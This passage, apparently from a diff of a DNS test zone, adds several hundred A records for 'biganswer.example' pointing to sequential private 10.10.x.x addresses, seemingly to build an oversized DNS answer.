+biganswer.example.	3600	IN	A	10.10.3.9
+biganswer.example.	3600	IN	A	10.10.3.10
+biganswer.example.	3600	IN	A	10.10.3.11
+biganswer.example.	3600	IN	A	10.10.3.12
+biganswer.example.	3600	IN	A	10.10.3.13
+biganswer.example.	3600	IN	A	10.10.3.14
+biganswer.example.	3600	IN	A	10.10.3.15
+biganswer.example.	3600	IN	A	10.10.3.16
+biganswer.example.	3600	IN	A	10.10.3.17
+biganswer.example.	3600	IN	A	10.10.3.18
+biganswer.example.	3600	IN	A	10.10.3.19
+biganswer.example.	3600	IN	A	10.10.3.20
+biganswer.example.	3600	IN	A	10.10.3.21
+biganswer.example.	3600	IN	A	10.10.3.22
+biganswer.example.	3600	IN	A	10.10.3.23
+biganswer.example.	3600	IN	A	10.10.3.24
+biganswer.example.	3600	IN	A	10.10.3.25
+biganswer.example.	3600	IN	A	10.10.3.26
+biganswer.example.	3600	IN	A	10.10.3.27
+biganswer.example.	3600	IN	A	10.10.3.28
+biganswer.example.	3600	IN	A	10.10.3.29
+biganswer.example.	3600	IN	A	10.10.3.30
+biganswer.example.	3600	IN	A	10.10.3.31
+biganswer.example.	3600	IN	A	10.10.3.32
+biganswer.example.	3600	IN	A	10.10.3.33
+biganswer.example.	3600	IN	A	10.10.3.34
+biganswer.example.	3600	IN	A	10.10.3.35
+biganswer.example.	3600	IN	A	10.10.3.36
+biganswer.example.	3600	IN	A	10.10.3.37
+biganswer.example.	3600	IN	A	10.10.3.38
+biganswer.example.	3600	IN	A	10.10.3.39
+biganswer.example.	3600	IN	A	10.10.3.40
+biganswer.example.	3600	IN	A	10.10.3.41
+biganswer.example.	3600	IN	A	10.10.3.42
+biganswer.example.	3600	IN	A	10.10.3.43
+biganswer.example.	3600	IN	A	10.10.3.44
+biganswer.example.	3600	IN	A	10.10.3.45
+biganswer.example.	3600	IN	A	10.10.3.46
+biganswer.example.	3600	IN	A	10.10.3.47
+biganswer.example.	3600	IN	A	10.10.3.48
+biganswer.example.	3600	IN	A	10.10.3.49
+biganswer.example.	3600	IN	A	10.10.3.50
+biganswer.example.	3600	IN	A	10.10.4.1
+biganswer.example.	3600	IN	A	10.10.4.2
+biganswer.example.	3600	IN	A	10.10.4.3
+biganswer.example.	3600	IN	A	10.10.4.4
+biganswer.example.	3600	IN	A	10.10.4.5
+biganswer.example.	3600	IN	A	10.10.4.6
+biganswer.example.	3600	IN	A	10.10.4.7
+biganswer.example.	3600	IN	A	10.10.4.8
+biganswer.example.	3600	IN	A	10.10.4.9
+biganswer.example.	3600	IN	A	10.10.4.10
+biganswer.example.	3600	IN	A	10.10.4.11
+biganswer.example.	3600	IN	A	10.10.4.12
+biganswer.example.	3600	IN	A	10.10.4.13
+biganswer.example.	3600	IN	A	10.10.4.14
+biganswer.example.	3600	IN	A	10.10.4.15
+biganswer.example.	3600	IN	A	10.10.4.16
+biganswer.example.	3600	IN	A	10.10.4.17
+biganswer.example.	3600	IN	A	10.10.4.18
+biganswer.example.	3600	IN	A	10.10.4.19
+biganswer.example.	3600	IN	A	10.10.4.20
+biganswer.example.	3600	IN	A	10.10.4.21
+biganswer.example.	3600	IN	A	10.10.4.22
+biganswer.example.	3600	IN	A	10.10.4.23
+biganswer.example.	3600	IN	A	10.10.4.24
+biganswer.example.	3600	IN	A	10.10.4.25
+biganswer.example.	3600	IN	A	10.10.4.26
+biganswer.example.	3600	IN	A	10.10.4.27
+biganswer.example.	3600	IN	A	10.10.4.28
+biganswer.example.	3600	IN	A	10.10.4.29
+biganswer.example.	3600	IN	A	10.10.4.30
+biganswer.example.	3600	IN	A	10.10.4.31
+biganswer.example.	3600	IN	A	10.10.4.32
+biganswer.example.	3600	IN	A	10.10.4.33
+biganswer.example.	3600	IN	A	10.10.4.34
+biganswer.example.	3600	IN	A	10.10.4.35
+biganswer.example.	3600	IN	A	10.10.4.36
+biganswer.example.	3600	IN	A	10.10.4.37
+biganswer.example.	3600	IN	A	10.10.4.38
+biganswer.example.	3600	IN	A	10.10.4.39
+biganswer.example.	3600	IN	A	10.10.4.40
+biganswer.example.	3600	IN	A	10.10.4.41
+biganswer.example.	3600	IN	A	10.10.4.42
+biganswer.example.	3600	IN	A	10.10.4.43
+biganswer.example.	3600	IN	A	10.10.4.44
+biganswer.example.	3600	IN	A	10.10.4.45
+biganswer.example.	3600	IN	A	10.10.4.46
+biganswer.example.	3600	IN	A	10.10.4.47
+biganswer.example.	3600	IN	A	10.10.4.48
+biganswer.example.	3600	IN	A	10.10.4.49
+biganswer.example.	3600	IN	A	10.10.4.50
+biganswer.example.	3600	IN	A	10.10.5.1
+biganswer.example.	3600	IN	A	10.10.5.2
+biganswer.example.	3600	IN	A	10.10.5.3
+biganswer.example.	3600	IN	A	10.10.5.4
+biganswer.example.	3600	IN	A	10.10.5.5
+biganswer.example.	3600	IN	A	10.10.5.6
+biganswer.example.	3600	IN	A	10.10.5.7
+biganswer.example.	3600	IN	A	10.10.5.8
+biganswer.example.	3600	IN	A	10.10.5.9
+biganswer.example.	3600	IN	A	10.10.5.10
+biganswer.example.	3600	IN	A	10.10.5.11
+biganswer.example.	3600	IN	A	10.10.5.12
+biganswer.example.	3600	IN	A	10.10.5.13
+biganswer.example.	3600	IN	A	10.10.5.14
+biganswer.example.	3600	IN	A	10.10.5.15
+biganswer.example.	3600	IN	A	10.10.5.16
+biganswer.example.	3600	IN	A	10.10.5.17
+biganswer.example.	3600	IN	A	10.10.5.18
+biganswer.example.	3600	IN	A	10.10.5.19
+biganswer.example.	3600	IN	A	10.10.5.20
+biganswer.example.	3600	IN	A	10.10.5.21
+biganswer.example.	3600	IN	A	10.10.5.22
+biganswer.example.	3600	IN	A	10.10.5.23
+biganswer.example.	3600	IN	A	10.10.5.24
+biganswer.example.	3600	IN	A	10.10.5.25
+biganswer.example.	3600	IN	A	10.10.5.26
+biganswer.example.	3600	IN	A	10.10.5.27
+biganswer.example.	3600	IN	A	10.10.5.28
+biganswer.example.	3600	IN	A	10.10.5.29
+biganswer.example.	3600	IN	A	10.10.5.30
+biganswer.example.	3600	IN	A	10.10.5.31
+biganswer.example.	3600	IN	A	10.10.5.32
+biganswer.example.	3600	IN	A	10.10.5.33
+biganswer.example.	3600	IN	A	10.10.5.34
+biganswer.example.	3600	IN	A	10.10.5.35
+biganswer.example.	3600	IN	A	10.10.5.36
+biganswer.example.	3600	IN	A	10.10.5.37
+biganswer.example.	3600	IN	A	10.10.5.38
+biganswer.example.	3600	IN	A	10.10.5.39
+biganswer.example.	3600	IN	A	10.10.5.40
+biganswer.example.	3600	IN	A	10.10.5.41
+biganswer.example.	3600	IN	A	10.10.5.42
+biganswer.example.	3600	IN	A	10.10.5.43
+biganswer.example.	3600	IN	A	10.10.5.44
+biganswer.example.	3600	IN	A	10.10.5.45
+biganswer.example.	3600	IN	A	10.10.5.46
+biganswer.example.	3600	IN	A	10.10.5.47
+biganswer.example.	3600	IN	A	10.10.5.48
+biganswer.example.	3600	IN	A	10.10.5.49
+biganswer.example.	3600	IN	A	10.10.5.50
+biganswer.example.	3600	IN	A	10.10.6.1
+biganswer.example.	3600	IN	A	10.10.6.2
+biganswer.example.	3600	IN	A	10.10.6.3
+biganswer.example.	3600	IN	A	10.10.6.4
+biganswer.example.	3600	IN	A	10.10.6.5
+biganswer.example.	3600	IN	A	10.10.6.6
+biganswer.example.	3600	IN	A	10.10.6.7
+biganswer.example.	3600	IN	A	10.10.6.8
+biganswer.example.	3600	IN	A	10.10.6.9
+biganswer.example.	3600	IN	A	10.10.6.10
+biganswer.example.	3600	IN	A	10.10.6.11
+biganswer.example.	3600	IN	A	10.10.6.12
+biganswer.example.	3600	IN	A	10.10.6.13
+biganswer.example.	3600	IN	A	10.10.6.14
+biganswer.example.	3600	IN	A	10.10.6.15
+biganswer.example.	3600	IN	A	10.10.6.16
+biganswer.example.	3600	IN	A	10.10.6.17
+biganswer.example.	3600	IN	A	10.10.6.18
+biganswer.example.	3600	IN	A	10.10.6.19
+biganswer.example.	3600	IN	A	10.10.6.20
+biganswer.example.	3600	IN	A	10.10.6.21
+biganswer.example.	3600	IN	A	10.10.6.22
+biganswer.example.	3600	IN	A	10.10.6.23
+biganswer.example.	3600	IN	A	10.10.6.24
+biganswer.example.	3600	IN	A	10.10.6.25
+biganswer.example.	3600	IN	A	10.10.6.26
+biganswer.example.	3600	IN	A	10.10.6.27
+biganswer.example.	3600	IN	A	10.10.6.28
+biganswer.example.	3600	IN	A	10.10.6.29
+biganswer.example.	3600	IN	A	10.10.6.30
+biganswer.example.	3600	IN	A	10.10.6.31
+biganswer.example.	3600	IN	A	10.10.6.32
+biganswer.example.	3600	IN	A	10.10.6.33
+biganswer.example.	3600	IN	A	10.10.6.34
+biganswer.example.	3600	IN	A	10.10.6.35
+biganswer.example.	3600	IN	A	10.10.6.36
+biganswer.example.	3600	IN	A	10.10.6.37
+biganswer.example.	3600	IN	A	10.10.6.38
+biganswer.example.	3600	IN	A	10.10.6.39
+biganswer.example.	3600	IN	A	10.10.6.40
+biganswer.example.	3600	IN	A	10.10.6.41
+biganswer.example.	3600	IN	A	10.10.6.42
+biganswer.example.	3600	IN	A	10.10.6.43
+biganswer.example.	3600	IN	A	10.10.6.44
+biganswer.example.	3600	IN	A	10.10.6.45
+biganswer.example.	3600	IN	A	10.10.6.46
+biganswer.example.	3600	IN	A	10.10.6.47
+biganswer.example.	3600	IN	A	10.10.6.48
+biganswer.example.	3600	IN	A	10.10.6.49
+biganswer.example.	3600	IN	A	10.10.6.50
+biganswer.example.	3600	IN	A	10.10.7.1
+biganswer.example.	3600	IN	A	10.10.7.2
+biganswer.example.	3600	IN	A	10.10.7.3
+biganswer.example.	3600	IN	A	10.10.7.4
+biganswer.example.	3600	IN	A	10.10.7.5
+biganswer.example.	3600	IN	A	10.10.7.6
+biganswer.example.	3600	IN	A	10.10.7.7
+biganswer.example.	3600	IN	A	10.10.7.8
+biganswer.example.	3600	IN	A	10.10.7.9
+biganswer.example.	3600	IN	A	10.10.7.10
+biganswer.example.	3600	IN	A	10.10.7.11
+biganswer.example.	3600	IN	A	10.10.7.12
+biganswer.example.	3600	IN	A	10.10.7.13
+biganswer.example.	3600	IN	A	10.10.7.14
+biganswer.example.	3600	IN	A	10.10.7.15
+biganswer.example.	3600	IN	A	10.10.7.16
+biganswer.example.	3600	IN	A	10.10.7.17
+biganswer.example.	3600	IN	A	10.10.7.18
+biganswer.example.	3600	IN	A	10.10.7.19
+biganswer.example.	3600	IN	A	10.10.7.20
+biganswer.example.	3600	IN	A	10.10.7.21
+biganswer.example.	3600	IN	A	10.10.7.22
+biganswer.example.	3600	IN	A	10.10.7.23
+biganswer.example.	3600	IN	A	10.10.7.24
+biganswer.example.	3600	IN	A	10.10.7.25
+biganswer.example.	3600	IN	A	10.10.7.26
+biganswer.example.	3600	IN	A	10.10.7.27
+biganswer.example.	3600	IN	A	10.10.7.28
+biganswer.example.	3600	IN	A	10.10.7.29
+biganswer.example.	3600	IN	A	10.10.7.30
+biganswer.example.	3600	IN	A	10.10.7.31
+biganswer.example.	3600	IN	A	10.10.7.32
+biganswer.example.	3600	IN	A	10.10.7.33
+biganswer.example.	3600	IN	A	10.10.7.34
+biganswer.example.	3600	IN	A	10.10.7.35
+biganswer.example.	3600	IN	A	10.10.7.36
+biganswer.example.	3600	IN	A	10.10.7.37
+biganswer.example.	3600	IN	A	10.10.7.38
+biganswer.example.	3600	IN	A	10.10.7.39
+biganswer.example.	3600	IN	A	10.10.7.40
+biganswer.example.	3600	IN	A	10.10.7.41
+biganswer.example.	3600	IN	A	10.10.7.42
+biganswer.example.	3600	IN	A	10.10.7.43
+biganswer.example.	3600	IN	A	10.10.7.44
+biganswer.example.	3600	IN	A	10.10.7.45
+biganswer.example.	3600	IN	A	10.10.7.46
+biganswer.example.	3600	IN	A	10.10.7.47
+biganswer.example.	3600	IN	A	10.10.7.48
+biganswer.example.	3600	IN	A	10.10.7.49
+biganswer.example.	3600	IN	A	10.10.7.50
+biganswer.example.	3600	IN	A	10.10.8.1
+biganswer.example.	3600	IN	A	10.10.8.2
+biganswer.example.	3600	IN	A	10.10.8.3
+biganswer.example.	3600	IN	A	10.10.8.4
+biganswer.example.	3600	IN	A	10.10.8.5
+biganswer.example.	3600	IN	A	10.10.8.6
+biganswer.example.	3600	IN	A	10.10.8.7
+biganswer.example.	3600	IN	A	10.10.8.8
+biganswer.example.	3600	IN	A	10.10.8.9
+biganswer.example.	3600	IN	A	10.10.8.10
+biganswer.example.	3600	IN	A	10.10.8.11
+biganswer.example.	3600	IN	A	10.10.8.12
+biganswer.example.	3600	IN	A	10.10.8.13
+biganswer.example.	3600	IN	A	10.10.8.14
+biganswer.example.	3600	IN	A	10.10.8.15
+biganswer.example.	3600	IN	A	10.10.8.16
+biganswer.example.	3600	IN	A	10.10.8.17
+biganswer.example.	3600	IN	A	10.10.8.18
+biganswer.example.	3600	IN	A	10.10.8.19
+biganswer.example.	3600	IN	A	10.10.8.20
+biganswer.example.	3600	IN	A	10.10.8.21
+biganswer.example.	3600	IN	A	10.10.8.22
+biganswer.example.	3600	IN	A	10.10.8.23
+biganswer.example.	3600	IN	A	10.10.8.24
+biganswer.example.	3600	IN	A	10.10.8.25
+biganswer.example.	3600	IN	A	10.10.8.26
+biganswer.example.	3600	IN	A	10.10.8.27
+biganswer.example.	3600	IN	A	10.10.8.28
+biganswer.example.	3600	IN	A	10.10.8.29
+biganswer.example.	3600	IN	A	10.10.8.30
+biganswer.example.	3600	IN	A	10.10.8.31
+biganswer.example.	3600	IN	A	10.10.8.32
+biganswer.example.	3600	IN	A	10.10.8.33
+biganswer.example.	3600	IN	A	10.10.8.34
+biganswer.example.	3600	IN	A	10.10.8.35
+biganswer.example.	3600	IN	A	10.10.8.36
+biganswer.example.	3600	IN	A	10.10.8.37
+biganswer.example.	3600	IN	A	10.10.8.38
+biganswer.example.	3600	IN	A	10.10.8.39
+biganswer.example.	3600	IN	A	10.10.8.40
+biganswer.example.	3600	IN	A	10.10.8.41
+biganswer.example.	3600	IN	A	10.10.8.42
+biganswer.example.	3600	IN	A	10.10.8.43
+biganswer.example.	3600	IN	A	10.10.8.44
+biganswer.example.	3600	IN	A	10.10.8.45
+biganswer.example.	3600	IN	A	10.10.8.46
+biganswer.example.	3600	IN	A	10.10.8.47
+biganswer.example.	3600	IN	A	10.10.8.48
+biganswer.example.	3600	IN	A	10.10.8.49
+biganswer.example.	3600	IN	A	10.10.8.50
+biganswer.example.	3600	IN	A	10.10.9.1
+biganswer.example.	3600	IN	A	10.10.9.2
+biganswer.example.	3600	IN	A	10.10.9.3
+biganswer.example.	3600	IN	A	10.10.9.4
+biganswer.example.	3600	IN	A	10.10.9.5
+biganswer.example.	3600	IN	A	10.10.9.6
+biganswer.example.	3600	IN	A	10.10.9.7
+biganswer.example.	3600	IN	A	10.10.9.8
+biganswer.example.	3600	IN	A	10.10.9.9
+biganswer.example.	3600	IN	A	10.10.9.10
+biganswer.example.	3600	IN	A	10.10.9.11
+biganswer.example.	3600	IN	A	10.10.9.12
+biganswer.example.	3600	IN	A	10.10.9.13
+biganswer.example.	3600	IN	A	10.10.9.14
+biganswer.example.	3600	IN	A	10.10.9.15
+biganswer.example.	3600	IN	A	10.10.9.16
+biganswer.example.	3600	IN	A	10.10.9.17
+biganswer.example.	3600	IN	A	10.10.9.18
+biganswer.example.	3600	IN	A	10.10.9.19
+biganswer.example.	3600	IN	A	10.10.9.20
+biganswer.example.	3600	IN	A	10.10.9.21
+biganswer.example.	3600	IN	A	10.10.9.22
+biganswer.example.	3600	IN	A	10.10.9.23
+biganswer.example.	3600	IN	A	10.10.9.24
+biganswer.example.	3600	IN	A	10.10.9.25
+biganswer.example.	3600	IN	A	10.10.9.26
+biganswer.example.	3600	IN	A	10.10.9.27
+biganswer.example.	3600	IN	A	10.10.9.28
+biganswer.example.	3600	IN	A	10.10.9.29
+biganswer.example.	3600	IN	A	10.10.9.30
+biganswer.example.	3600	IN	A	10.10.9.31
+biganswer.example.	3600	IN	A	10.10.9.32
+biganswer.example.	3600	IN	A	10.10.9.33
+biganswer.example.	3600	IN	A	10.10.9.34
+biganswer.example.	3600	IN	A	10.10.9.35
+biganswer.example.	3600	IN	A	10.10.9.36
+biganswer.example.	3600	IN	A	10.10.9.37
+biganswer.example.	3600	IN	A	10.10.9.38
+biganswer.example.	3600	IN	A	10.10.9.39
+biganswer.example.	3600	IN	A	10.10.9.40
+biganswer.example.	3600	IN	A	10.10.9.41
+biganswer.example.	3600	IN	A	10.10.9.42
+biganswer.example.	3600	IN	A	10.10.9.43
+biganswer.example.	3600	IN	A	10.10.9.44
+biganswer.example.	3600	IN	A	10.10.9.45
+biganswer.example.	3600	IN	A	10.10.9.46
+biganswer.example.	3600	IN	A	10.10.9.47
+biganswer.example.	3600	IN	A	10.10.9.48
+biganswer.example.	3600	IN	A	10.10.9.49
+biganswer.example.	3600	IN	A	10.10.9.50
+biganswer.example.	3600	IN	A	10.10.10.1
+biganswer.example.	3600	IN	A	10.10.10.2
+biganswer.example.	3600	IN	A	10.10.10.3
+biganswer.example.	3600	IN	A	10.10.10.4
+biganswer.example.	3600	IN	A	10.10.10.5
+biganswer.example.	3600	IN	A	10.10.10.6
+biganswer.example.	3600	IN	A	10.10.10.7
+biganswer.example.	3600	IN	A	10.10.10.8
+biganswer.example.	3600	IN	A	10.10.10.9
+biganswer.example.	3600	IN	A	10.10.10.10
+biganswer.example.	3600	IN	A	10.10.10.11
+biganswer.example.	3600	IN	A	10.10.10.12
+biganswer.example.	3600	IN	A	10.10.10.13
+biganswer.example.	3600	IN	A	10.10.10.14
+biganswer.example.	3600	IN	A	10.10.10.15
+biganswer.example.	3600	IN	A	10.10.10.16
+biganswer.example.	3600	IN	A	10.10.10.17
+biganswer.example.	3600	IN	A	10.10.10.18
+biganswer.example.	3600	IN	A	10.10.10.19
+biganswer.example.	3600	IN	A	10.10.10.20
+biganswer.example.	3600	IN	A	10.10.10.21
+biganswer.example.	3600	IN	A	10.10.10.22
+biganswer.example.	3600	IN	A	10.10.10.23
+biganswer.example.	3600	IN	A	10.10.10.24
+biganswer.example.	3600	IN	A	10.10.10.25
+biganswer.example.	3600	IN	A	10.10.10.26
+biganswer.example.	3600	IN	A	10.10.10.27
+biganswer.example.	3600	IN	A	10.10.10.28
+biganswer.example.	3600	IN	A	10.10.10.29
+biganswer.example.	3600	IN	A	10.10.10.30
+biganswer.example.	3600	IN	A	10.10.10.31
+biganswer.example.	3600	IN	A	10.10.10.32
+biganswer.example.	3600	IN	A	10.10.10.33
+biganswer.example.	3600	IN	A	10.10.10.34
+biganswer.example.	3600	IN	A	10.10.10.35
+biganswer.example.	3600	IN	A	10.10.10.36
+biganswer.example.	3600	IN	A	10.10.10.37
+biganswer.example.	3600	IN	A	10.10.10.38
+biganswer.example.	3600	IN	A	10.10.10.39
+biganswer.example.	3600	IN	A	10.10.10.40
+biganswer.example.	3600	IN	A	10.10.10.41
+biganswer.example.	3600	IN	A	10.10.10.42
+biganswer.example.	3600	IN	A	10.10.10.43
+biganswer.example.	3600	IN	A	10.10.10.44
+biganswer.example.	3600	IN	A	10.10.10.45
+biganswer.example.	3600	IN	A	10.10.10.46
+biganswer.example.	3600	IN	A	10.10.10.47
+biganswer.example.	3600	IN	A	10.10.10.48
+biganswer.example.	3600	IN	A	10.10.10.49
+biganswer.example.	3600	IN	A	10.10.10.50
+biganswer.example.	3600	IN	A	10.10.11.1
+biganswer.example.	3600	IN	A	10.10.11.2
+biganswer.example.	3600	IN	A	10.10.11.3
+biganswer.example.	3600	IN	A	10.10.11.4
+biganswer.example.	3600	IN	A	10.10.11.5
+biganswer.example.	3600	IN	A	10.10.11.6
+biganswer.example.	3600	IN	A	10.10.11.7
+biganswer.example.	3600	IN	A	10.10.11.8
+biganswer.example.	3600	IN	A	10.10.11.9
+biganswer.example.	3600	IN	A	10.10.11.10
+biganswer.example.	3600	IN	A	10.10.11.11
+biganswer.example.	3600	IN	A	10.10.11.12
+biganswer.example.	3600	IN	A	10.10.11.13
+biganswer.example.	3600	IN	A	10.10.11.14
+biganswer.example.	3600	IN	A	10.10.11.15
+biganswer.example.	3600	IN	A	10.10.11.16
+biganswer.example.	3600	IN	A	10.10.11.17
+biganswer.example.	3600	IN	A	10.10.11.18
+biganswer.example.	3600	IN	A	10.10.11.19
+biganswer.example.	3600	IN	A	10.10.11.20
+biganswer.example.	3600	IN	A	10.10.11.21
+biganswer.example.	3600	IN	A	10.10.11.22
+biganswer.example.	3600	IN	A	10.10.11.23
+biganswer.example.	3600	IN	A	10.10.11.24
+biganswer.example.	3600	IN	A	10.10.11.25
+biganswer.example.	3600	IN	A	10.10.11.26
+biganswer.example.	3600	IN	A	10.10.11.27
+biganswer.example.	3600	IN	A	10.10.11.28
+biganswer.example.	3600	IN	A	10.10.11.29
+biganswer.example.	3600	IN	A	10.10.11.30
+biganswer.example.	3600	IN	A	10.10.11.31
+biganswer.example.	3600	IN	A	10.10.11.32
+biganswer.example.	3600	IN	A	10.10.11.33
+biganswer.example.	3600	IN	A	10.10.11.34
+biganswer.example.	3600	IN	A	10.10.11.35
+biganswer.example.	3600	IN	A	10.10.11.36
+biganswer.example.	3600	IN	A	10.10.11.37
+biganswer.example.	3600	IN	A	10.10.11.38
+biganswer.example.	3600	IN	A	10.10.11.39
+biganswer.example.	3600	IN	A	10.10.11.40
+biganswer.example.	3600	IN	A	10.10.11.41
+biganswer.example.	3600	IN	A	10.10.11.42
+biganswer.example.	3600	IN	A	10.10.11.43
+biganswer.example.	3600	IN	A	10.10.11.44
+biganswer.example.	3600	IN	A	10.10.11.45
+biganswer.example.	3600	IN	A	10.10.11.46
+biganswer.example.	3600	IN	A	10.10.11.47
+biganswer.example.	3600	IN	A	10.10.11.48
+biganswer.example.	3600	IN	A	10.10.11.49
+biganswer.example.	3600	IN	A	10.10.11.50
+biganswer.example.	3600	IN	A	10.10.12.1
+biganswer.example.	3600	IN	A	10.10.12.2
+biganswer.example.	3600	IN	A	10.10.12.3
+biganswer.example.	3600	IN	A	10.10.12.4
+biganswer.example.	3600	IN	A	10.10.12.5
+biganswer.example.	3600	IN	A	10.10.12.6
+biganswer.example.	3600	IN	A	10.10.12.7
+biganswer.example.	3600	IN	A	10.10.12.8
+biganswer.example.	3600	IN	A	10.10.12.9
+biganswer.example.	3600	IN	A	10.10.12.10
+biganswer.example.	3600	IN	A	10.10.12.11
+biganswer.example.	3600	IN	A	10.10.12.12
+biganswer.example.	3600	IN	A	10.10.12.13
+biganswer.example.	3600	IN	A	10.10.12.14
+biganswer.example.	3600	IN	A	10.10.12.15
+biganswer.example.	3600	IN	A	10.10.12.16
+biganswer.example.	3600	IN	A	10.10.12.17
+biganswer.example.	3600	IN	A	10.10.12.18
+biganswer.example.	3600	IN	A	10.10.12.19
+biganswer.example.	3600	IN	A	10.10.12.20
+biganswer.example.	3600	IN	A	10.10.12.21
+biganswer.example.	3600	IN	A	10.10.12.22
+biganswer.example.	3600	IN	A	10.10.12.23
+biganswer.example.	3600	IN	A	10.10.12.24
+biganswer.example.	3600	IN	A	10.10.12.25
+biganswer.example.	3600	IN	A	10.10.12.26
+biganswer.example.	3600	IN	A	10.10.12.27
+biganswer.example.	3600	IN	A	10.10.12.28
+biganswer.example.	3600	IN	A	10.10.12.29
+biganswer.example.	3600	IN	A	10.10.12.30
+biganswer.example.	3600	IN	A	10.10.12.31
+biganswer.example.	3600	IN	A	10.10.12.32
+biganswer.example.	3600	IN	A	10.10.12.33
+biganswer.example.	3600	IN	A	10.10.12.34
+biganswer.example.	3600	IN	A	10.10.12.35
+biganswer.example.	3600	IN	A	10.10.12.36
+biganswer.example.	3600	IN	A	10.10.12.37
+biganswer.example.	3600	IN	A	10.10.12.38
+biganswer.example.	3600	IN	A	10.10.12.39
+biganswer.example.	3600	IN	A	10.10.12.40
+biganswer.example.	3600	IN	A	10.10.12.41
+biganswer.example.	3600	IN	A	10.10.12.42
+biganswer.example.	3600	IN	A	10.10.12.43
+biganswer.example.	3600	IN	A	10.10.12.44
+biganswer.example.	3600	IN	A	10.10.12.45
+biganswer.example.	3600	IN	A	10.10.12.46
+biganswer.example.	3600	IN	A	10.10.12.47
+biganswer.example.	3600	IN	A	10.10.12.48
+biganswer.example.	3600	IN	A	10.10.12.49
+biganswer.example.	3600	IN	A	10.10.12.50
+biganswer.example.	3600	IN	A	10.10.13.1
+biganswer.example.	3600	IN	A	10.10.13.2
+biganswer.example.	3600	IN	A	10.10.13.3
+biganswer.example.	3600	IN	A	10.10.13.4
+biganswer.example.	3600	IN	A	10.10.13.5
+biganswer.example.	3600	IN	A	10.10.13.6
+biganswer.example.	3600	IN	A	10.10.13.7
+biganswer.example.	3600	IN	A	10.10.13.8
+biganswer.example.	3600	IN	A	10.10.13.9
+biganswer.example.	3600	IN	A	10.10.13.10
+biganswer.example.	3600	IN	A	10.10.13.11
+biganswer.example.	3600	IN	A	10.10.13.12
+biganswer.example.	3600	IN	A	10.10.13.13
+biganswer.example.	3600	IN	A	10.10.13.14
+biganswer.example.	3600	IN	A	10.10.13.15
+biganswer.example.	3600	IN	A	10.10.13.16
+biganswer.example.	3600	IN	A	10.10.13.17
+biganswer.example.	3600	IN	A	10.10.13.18
+biganswer.example.	3600	IN	A	10.10.13.19
+biganswer.example.	3600	IN	A	10.10.13.20
+biganswer.example.	3600	IN	A	10.10.13.21
+biganswer.example.	3600	IN	A	10.10.13.22
+biganswer.example.	3600	IN	A	10.10.13.23
+biganswer.example.	3600	IN	A	10.10.13.24
+biganswer.example.	3600	IN	A	10.10.13.25
+biganswer.example.	3600	IN	A	10.10.13.26
+biganswer.example.	3600	IN	A	10.10.13.27
+biganswer.example.	3600	IN	A	10.10.13.28
+biganswer.example.	3600	IN	A	10.10.13.29
+biganswer.example.	3600	IN	A	10.10.13.30
+biganswer.example.	3600	IN	A	10.10.13.31
+biganswer.example.	3600	IN	A	10.10.13.32
+biganswer.example.	3600	IN	A	10.10.13.33
+biganswer.example.	3600	IN	A	10.10.13.34
+biganswer.example.	3600	IN	A	10.10.13.35
+biganswer.example.	3600	IN	A	10.10.13.36
+biganswer.example.	3600	IN	A	10.10.13.37
+biganswer.example.	3600	IN	A	10.10.13.38
+biganswer.example.	3600	IN	A	10.10.13.39
+biganswer.example.	3600	IN	A	10.10.13.40
+biganswer.example.	3600	IN	A	10.10.13.41
+biganswer.example.	3600	IN	A	10.10.13.42
+biganswer.example.	3600	IN	A	10.10.13.43
+biganswer.example.	3600	IN	A	10.10.13.44
+biganswer.example.	3600	IN	A	10.10.13.45
+biganswer.example.	3600	IN	A	10.10.13.46
+biganswer.example.	3600	IN	A	10.10.13.47
+biganswer.example.	3600	IN	A	10.10.13.48
+biganswer.example.	3600	IN	A	10.10.13.49
+biganswer.example.	3600	IN	A	10.10.13.50
+biganswer.example.	3600	IN	A	10.10.14.1
+biganswer.example.	3600	IN	A	10.10.14.2
+biganswer.example.	3600	IN	A	10.10.14.3
+biganswer.example.	3600	IN	A	10.10.14.4
+biganswer.example.	3600	IN	A	10.10.14.5
+biganswer.example.	3600	IN	A	10.10.14.6
+biganswer.example.	3600	IN	A	10.10.14.7
+biganswer.example.	3600	IN	A	10.10.14.8
+biganswer.example.	3600	IN	A	10.10.14.9
+biganswer.example.	3600	IN	A	10.10.14.10
+biganswer.example.	3600	IN	A	10.10.14.11
+biganswer.example.	3600	IN	A	10.10.14.12
+biganswer.example.	3600	IN	A	10.10.14.13
+biganswer.example.	3600	IN	A	10.10.14.14
+biganswer.example.	3600	IN	A	10.10.14.15
+biganswer.example.	3600	IN	A	10.10.14.16
+biganswer.example.	3600	IN	A	10.10.14.17
+biganswer.example.	3600	IN	A	10.10.14.18
+biganswer.example.	3600	IN	A	10.10.14.19
+biganswer.example.	3600	IN	A	10.10.14.20
+biganswer.example.	3600	IN	A	10.10.14.21
+biganswer.example.	3600	IN	A	10.10.14.22
+biganswer.example.	3600	IN	A	10.10.14.23
+biganswer.example.	3600	IN	A	10.10.14.24
+biganswer.example.	3600	IN	A	10.10.14.25
+biganswer.example.	3600	IN	A	10.10.14.26
+biganswer.example.	3600	IN	A	10.10.14.27
+biganswer.example.	3600	IN	A	10.10.14.28
+biganswer.example.	3600	IN	A	10.10.14.29
+biganswer.example.	3600	IN	A	10.10.14.30
+biganswer.example.	3600	IN	A	10.10.14.31
+biganswer.example.	3600	IN	A	10.10.14.32
+biganswer.example.	3600	IN	A	10.10.14.33
+biganswer.example.	3600	IN	A	10.10.14.34
+biganswer.example.	3600	IN	A	10.10.14.35
+biganswer.example.	3600	IN	A	10.10.14.36
+biganswer.example.	3600	IN	A	10.10.14.37
+biganswer.example.	3600	IN	A	10.10.14.38
+biganswer.example.	3600	IN	A	10.10.14.39
+biganswer.example.	3600	IN	A	10.10.14.40
+biganswer.example.	3600	IN	A	10.10.14.41
+biganswer.example.	3600	IN	A	10.10.14.42
+biganswer.example.	3600	IN	A	10.10.14.43
+biganswer.example.	3600	IN	A	10.10.14.44
+biganswer.example.	3600	IN	A	10.10.14.45
+biganswer.example.	3600	IN	A	10.10.14.46
+biganswer.example.	3600	IN	A	10.10.14.47
+biganswer.example.	3600	IN	A	10.10.14.48
+biganswer.example.	3600	IN	A	10.10.14.49
+biganswer.example.	3600	IN	A	10.10.14.50
+biganswer.example.	3600	IN	A	10.10.15.1
+biganswer.example.	3600	IN	A	10.10.15.2
+biganswer.example.	3600	IN	A	10.10.15.3
+biganswer.example.	3600	IN	A	10.10.15.4
+biganswer.example.	3600	IN	A	10.10.15.5
+biganswer.example.	3600	IN	A	10.10.15.6
+biganswer.example.	3600	IN	A	10.10.15.7
+biganswer.example.	3600	IN	A	10.10.15.8
